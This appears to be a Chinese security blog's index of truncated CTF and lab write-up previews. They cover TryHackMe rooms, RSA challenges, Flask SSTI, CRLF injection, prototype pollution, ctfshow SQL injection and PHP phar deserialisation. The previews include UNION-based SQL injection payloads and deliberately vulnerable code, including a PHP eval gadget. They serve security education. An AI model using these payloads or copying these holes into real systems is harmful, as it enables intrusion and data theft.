[THM] Walking An Application
Walking An Application
Viewing The Page Source
查看网页源代码发现首行注释,访问后边的目录。
发现第一段flag
继续向下看,发现a标签里的secret-page跟踪这个页面。
发现第二段flag
同时发现这里的asset,跟踪访问一下。
发现第三段flag
继续向下,发现了网站框架信息。
跟踪这个框架网站。
发现历史漏洞造成的信息泄露,这里回去尝试访问一下。
发现最后一段flag
Developer Tools - Inspector
首先打开网站的news界面。
这里提示,我们访问第三段新闻获得flag
我们直接打开发现,被拦截。
再这个界面,右键检查一下。
可以看到对应的css中的display属性为block。
我们将这里的block修改为none
成功访问到这个页面,获得第一个flag
Developer Tools - Debugger
根据提示,访问concat界面,按照提示说加载页面时会有一个闪动的动画(不好意思,多次测试都没发现),然后我们修改js代码让他停止闪动,就能获得flag
在这段代码上 ...
[THM] Intro to Cyber Security
Intro to Offensive Security
简言之,进攻性安全(红队)是一个进攻计算机系统,利用软件缺陷,发现应用程序的漏洞,来达到为授权访问这些系统的过程。
为了对抗黑客,我们需要表现的像一个黑客,在网络犯罪发生之前,发现漏洞,推荐补丁。
另一方面,也有防御性安全(蓝队),这是一个通过分析和保护潜在的数字威胁来保护一个组织的网络和计算机系统的过程。
在防御安全的角色中,你可以调查受到感染的计算机或者设备来了解他们是如何被黑入的,追踪网络犯罪,监控基础设施是否存在恶意获得。
Intro to Defensive Security
进攻性安全只关注一件事,入侵系统。入侵系统可能通过利用漏洞,滥用不安全的设置,以及利用不强力的安全访问控制策略实现。红队和渗透测试人员专注于进攻性安全。
防御性安全在某种程度上和进攻性安全相反,他只关注两个主要的任务:
防止入侵发生
监测发生的入侵,并及时正确响应。
蓝队是防御安全领域的一部分。
一些和防御安全有关的任务包括:
用户网络安全意识:训练用户关于网络安全的知识,有助于防护针对他们系统的各种攻击。
记录和管理资产:我们需要了解系统和 ...
[Xenny的RSA题单]
素数分解
[柏鹭杯 2021]试试大数据分解?
题目附件
题目给出了四个附件,分别是flag.enc1、flag.enc2、flag.enc3、flag.enc4和public.pem
解题思路
我们先读取先public.pem看下有没有进一步的发现。
from Crypto import Randomfrom Crypto.PublicKey import RSAwith open("public.pem") as f: key=RSA.import_key(f.read()) n=key.n e=key.eprint(n)print(e)#980710843783426929436352108445477207723530613536846588304753445659989738992892689598648497#99991
我们尝试分解n
p=948539437740472240970258995719507356652939947q=1033916782753483187367063564275935620987269651同时e=99 ...
[flask-ssti参考手册]
参考文章
本篇文章只介绍Python flask中的ssti
漏洞成因
Flask提供两个模版渲染函数 render_template() 和render_template_string()。
render_template
render_template()函数的第一个参数为渲染的目标html页面、第二个参数为需要加载到页面指定标签位置的内容。
创建test.py,并启动
from flask import Flaskfrom flask import request, render_templateapp = Flask(__name__)@app.route('/')def test_ssti():name="test"if request.args.get('name'):name = request.args.get('name')return render_template("index.html", name=name)if __name__ == "__main ...
反序列化常见姿势
1.SoapClient反序列化SSRF
CRLF
CRLF简介
CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。
举个例子
一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样:
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: http://www.s ...
[nodejs从原型链污染到RCE]
JS中的原型和原型链
原型
function Foo(name,age){ this.name = name; this.age = age;}
Foo函数的内容,就是Foo类的构造函数,this.name,this.age就是Foo类的一个属性。
一个类中必然有一个方法,类似属性,我们可以将方法定义在构造函数内部:
function Foo(name,age){ this.name = name; this.age = age; this.show = function(){ console.log(this.name); }}(new Foo()).show();
但是这样写的话,我们每次构造一个Foo对象时都会执行依次this.show=function(),这个show方法实际上是绑定在对象上而不是绑定在类中。
我们希望创建类Foo只创建依次show方法,这时候我们就需要使用原型prototype了
function Foo(name,age){ thi ...
[ctfshow SQL部分题目]
最全sql注入
web 171
SQL注入入门局。
直接给出了SQL语句
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
这里直接引号闭合然后联合查询。
payload:
-1' union select 1,database(),3 --+#ctfshow_web-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'ctfshow_web'--+#ctfshow_user-1' union select 1,group_concat(column_name),3 from information_schema.columns where ...
Hgame中的与格相关的两题
matrix_equation
task.py
from Crypto.Util.number import *import hashlibfrom secret import p,q,rk1=getPrime(256)k2=getPrime(256)temp=p*2**256+q*k1+r*k2hint=len(bin(temp)[2:])flag='hgame{'+hashlib.sha256(str(p+q+r).encode()).hexdigest()+'}'print(f'hint={hint}')print(f'k1={k1}')print(f'k2={k2}')"""83k1=73715329877215340145951238343247156282165705396074786483256699817651255709671k2=613619706622698 ...
babyCBC
task.py
import socketserverimport os, sys, signalimport string, random, time, jsonfrom hashlib import sha256from secret import flagfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad,unpadfrom ast import literal_eval as evalkey = os.urandom(32)def decrypt(ciphertext:str,iv): try: iv = bytes.fromhex(iv) ciphertext = bytes.fromhex(ciphertext) cipher = AES.new(key, AES.MODE_CBC, iv) decrypted = unpad(cipher.decrypt(ciphertext),16) if not b'Adm ...
[phar与session反序列化]
phar 反序列化
可以上传文件
可以读取文件
读取文件时,未对路径和协议进行过滤
P8
task.php
<!--<?phphighlight_file(__FILE__);class A { public $a; public function __construct($a) { $this->a = $a; } public function __destruct() { echo "NSSCTF".$this->a; }}class B { public $b; public function __construct($b) { $this->b = $b; } public function __toString() { return eval($this->b); }& ...